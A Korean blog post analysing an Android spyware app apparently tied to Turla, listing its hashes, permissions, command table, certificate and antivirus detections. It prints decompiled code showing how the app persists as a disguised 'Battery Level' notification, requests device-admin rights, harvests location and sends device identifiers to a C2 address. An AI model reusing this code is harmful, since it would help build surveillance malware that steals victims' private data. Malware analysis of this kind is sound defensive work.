꿈을꾸는 파랑새

오늘은 러시아 연계 APT 그룹 Turla 제작 추정 안드로이드 악성코드인 Process Manager.apk에 대해 글을 적어 보겠습니다. 일단 제목처럼 추정으로 한 이유는 러시아 쪽으로 연결되어서 이렇게 글을 적어 봅니다. 해당 악성코드는 Roz Dhan: Earn Wallet cash 이름으로 구글 플레이 스토어 있었고 많은 사용자가 다운로드 한 악성코드 중 하나입니다. 먼저 해시값은 다음과 같습니다.
파일명:Process Manager.apk
사이즈:377 KB
CRC32:afe09139
MD5:4f5617ec4668e3406f9bd82dfcf6df6b
SHA-1:45eed0d3f6dc143bcfa19f593523ee07683ca66d
SHA-256:e0eacd72afe39de3b327a164f9c69a78c9c0f672d3ad202271772d816db4fad8
일단 해당 악성코드는 스파이웨어 역할을 하면 기능은 다음과 같습니다.
전화 위치에 대한 액세스.
ACCESS_FINE_LOCATION:GPS를 기반으로 위치에 대한 접근
ACCESS_NETWORK_STATE:모든 네트워크의 상태를 봄
ACCESS_WIFI_STATE:WIFI 정보를 표시
CAMERA:카메라에서 사진 및 비디오 촬영 등을 수행합니다.

악성코드 설치
악성코드 설치

이러한 권한은 앱이 장치의 위치를 ​​파악하고, 문자를 보내고 읽고, 저장소에 액세스하고, 카메라로 사진을 찍고, 오디오를 녹음할 수 있도록 허용하므로 개인 정보에 심각한 위험한 부분입니다. 해당 악성코드는 
권한을 받은 후 스파이웨어는 아이콘을 제거하고 존재를 나타내는 영구 알림과 함께 백그라운드에서 실행이 됩니다.
com.remote.app 패키지에는 21개의 클래스가 포함되어 있습니다. 그 중 15개의 이름은 알파벳의 첫 글자를 따서 명명되었으며 DeviceAdmin, MainActivity, MainService, MyReceiver, NotificationListener 및 ServiceReceiver 클래스가 있는 것을 확인할 수가 있습니다.
악성코드 안드로이드 권한은 다음과 같습니다.

악성코드 안드로이드 권한
악성코드 안드로이드 권한

<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>

입니다.
그리고 MainService 클래스는 기본 클래스이므로 응용 프로그램에서 가장 먼저 실행이 되고 해당 클래스에는 OnCreate의 주요 기능이 있으며 실행될 Battery Level Service 라는 알린 채널을 생성합니다. 코드들은 다음과 같습니다.

Battery Level Service 알림 채널 생성
Battery Level Service 알림 채널 생성

private void m148b() {
        NotificationChannel notificationChannel = new NotificationChannel("example.permanence", "Battery Level Service", 0);
        notificationChannel.setLightColor(-16776961);
        notificationChannel.setLockscreenVisibility(0);
        ((NotificationManager) getSystemService("notification")).createNotificationChannel(notificationChannel);
        C0009d.C0011b bVar = new C0009d.C0011b(this, "example.permanence");
        bVar.m1135a(true);
        bVar.m1133b("Battery Level");
        bVar.m1139a(1);
        bVar.m1136a("service");
        startForeground(1, bVar.m1140a());
    }

DeviceAdmin을 사용하여 관리 권한으로 장치를 구성하는 MainActiviy 클래스가 호출

DeviceAdmin MainActiviy 클래스 호출
DeviceAdmin MainActiviy 클래스 호출

/* renamed from: a */
    private void m151a(ComponentName componentName) {
        this.f1227a = (DevicePolicyManager) getSystemService("device_policy");
        if (!this.f1227a.isAdminActive(componentName)) {
            Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
            intent.putExtra("android.app.extra.DEVICE_ADMIN", componentName);
            intent.putExtra("android.app.extra.ADD_EXPLANATION", " ");
            startActivityForResult(intent, 47);
        }
    }

Class a 멀웨어는 설치된 패키지에 대한 정보를 JSON에 추가하며 각각에 대해 패키지 이름, 응용 프로그램 이름, 버전 및 번호를 제공
클래스 b 멀웨어는 장치에서 이루어진 호출에 대한 정보를 JSON에 추가 각 통화에 대해 번호, 이름(연락처), 지속 시간, 날짜 및 유형이 표시
1:Incoming
2:Outgoing
3:Missed
4:Voice Message
5:Refused
6:Blacklist
그리고 위치 정보를 수집을 진행합니다. (Class i 는 위치 수신기와 관련된 기능을 담당하고 있으며 (위치가 변경되면 활성화 또는 비활성화되며 그런 다음 JSON에 각 변경과 함께 위치 정보(고도, 위도, 경도, 정밀도 및 속도까지)를 추가를 진행합니다.

위치 정보 수집
위치 정보 수집

public JSONObject m125b() {
        JSONObject jSONObject = new JSONObject();
        if (this.f1239e != null) {
            try {
                jSONObject.put("enabled", true);
                jSONObject.put("latitude", this.f1240f);
                jSONObject.put("longitude", this.f1241g);
                jSONObject.put("altitude", this.f1243i);
                jSONObject.put("accuracy", this.f1242h);
                jSONObject.put("speed", this.f1244j);
            } catch (JSONException unused) {
            }
        }
        return jSONObject;
    }

그리고 모든 정보가 JSON 형식으로 수집 완료되며 악성코드는 C2(82.146.35(.)240)에 모델, 버전, ID 및 제조업체별로 장치를 전송 및 식별합니다.

개인정보 전송
개인정보 전송

 

Public class C0334h {

    /* renamed from: a */
    private static C0334h f1233a = new C0334h();

    /* renamed from: b */
    private C0029I f1234b;

    private C0334h() {
        try {
            String string = Settings.Secure.getString(MainService.m149a().getContentResolver(), "android_id");
            C0033b.C0034a aVar = new C0033b.C0034a();
            aVar.f183t = true;
            aVar.f185v = 5000L;
            aVar.f186w = 999999999L;
            this.f1234b = C0033b.m1038a("http://82.146.35(.)240:80?model=" + Uri.encode(Build.MODEL) + "&manf=" + Build.MANUFACTURER + "&release=" + Build.VERSION.RELEASE + "&id=" + string);
        } catch (URISyntaxException e) {
            e.printStackTrace();
        }
    }

    /* renamed from: a */
    public static C0334h m128a() {
        return f1233a;
    }

    /* renamed from: b */
    public C0029I m127b() {
        return this.f1234b;
    }
}

클래스 e 와 함께 실행 클래스 d에서 명령과 작업을 합니다.
명령  함수 관련 클래스
0xLO Location i
0xCL Call List b
0xMI Audio Recorder l
0xFI File Information g
0xSM SMS Information n
0xPM/0xGP Package Permissions m
0xCO Contact List f
0xIN Package Information a
0xWI Wifi Information o
0xNO Notifications NotificationListener
입니다.

악성코드 인증서 정보

그리고 악성코드 인증서 정보는 다음과 같습니다.
서명자 KEY0.RSA (META-INF/KEY0.SF)
유형: X.509
버전: 3
시리얼 번호: 0x25695424
소유자: CN=Process Monitor, L=Moscow, C=RU
유효 시작 시각: Sat Jan 11 15:10:47 GMT+09:00 2020
유효 종료 시각: Wed Jan 04 15:10:47 GMT+09:00 2045
공개키 타입: RSA
지수: 65537
모듈러스 크기 (비트): 2048
모듈러스: 21410969553189158112010749463077814610435212804525946645813815067838641430670216339638351491041406901334665342745773241951777969645720050919215239752358834303700901110483145204199000704027043060109861185923669966896377858266678015111509383412857251021933578068513269803659312844540969039473342211550949688061518003429803664017411981048220111347991425670660440318168949906560484901029851891860067500993957756164429079295858387615263850208639827560920698898990450943474866585305488205021049459938431063345969027520923658590297765993989295632622306188589132267840979709643613856745259581124952448952745882552089139836999
서명 유형: SHA256withRSA
서명 OID: 1.2.840.113549.1.1.11
MD5 지문: 7D EA 4C 79 1B DD 44 14 FC 6D 34 FD D2 AC 03 2F 
SHA-1 지문: 82 E2 E0 7A 36 4C 09 BF AB EA EF D3 C4 2C 44 DF F0 F9 9C A2 
SHA-256 지문: 13 55 75 07 23 65 BF EF 13 A9 5E 77 FF 2C 3A 8B 5F CA 5F 0E 73 78 D1 5C E8 41 C0 AA CB F5 17 5C 

2022-04-03 03:45:35 UTC 기준 바이러스토탈 에서 탐지를 하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Backdoor/Android.Agent.923879
Alibaba:TrojanSpy:Android/Mploit.226d66ab
Avast:Android:L3mon-B [Spy]
Avast-Mobile:Android:Evo-gen [Trj]
AVG:Android:L3mon-B [Spy]
Avira (no cloud):ANDROID/Spy.Etechd.BA.Gen
BitDefenderFalx:Android.Trojan.InfoStealer.PK
CAT-QuickHeal:Android.Boogr.GEN34772
Cynet:Malicious (score: 99)
Cyren:AndroidOS/Trojan.YCGS-9
DrWeb:Android.Spy.613.origin
ESET-NOD32:A Variant Of Android/Spy.Agent.BEH
F-Secure:Malware.ANDROID/Spy.Etechd.BA.Gen
Fortinet:Android/Agent.AOX!tr
Ikarus:Trojan.AndroidOS.Agent
K7GW:Spyware ( 005649881 )
Kaspersky:HEUR:Backdoor.AndroidOS.Ahmyth.m
Lionic:SUSPICIOUS
MAX:Malware (ai Score=99)
McAfee:Artemis!4F5617EC4668
McAfee-GW-Edition:Artemis!Trojan
Microsoft:TrojanSpy:AndroidOS/Mploit.A!MTB
NANO-Antivirus:Trojan.Android.Ahmyth.jcgyid
Sangfor Engine Zero:Malware.Android-Script.Save.032b68aa
Sophos:Andr/Xgen-AIZ
Symantec:Trojan.Gen.MBT
Symantec Mobile Insight:Other:Android.Reputation.1
Tencent:Dos.Backdoor.Ahmyth.Pfjq
Trustlook:Android.Malware.Spyware
ZoneAlarm by Check Point:HEUR:Backdoor.AndroidOS.Ahmyth.m

기본적으로 백신앱을 설치를 하면 이런 악성코드로부터 감염을 최소화할 수가 있으면 구글 플레이 스토어에 있더라도 악성코드가 있으니 항상 조심을 하는 것이 좋으면 안드로이드 12 버전부터는 OS에서 카메라나 마이크가 활성화될 때 표시를 해주고 있으므로 자신이 카메라, 마이크를 사용하지 않는데 오른쪽 위에 초록색 점이 표시된다고 하면 의심을 해 보시는 것도 좋을 것입니다.

반응형
그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band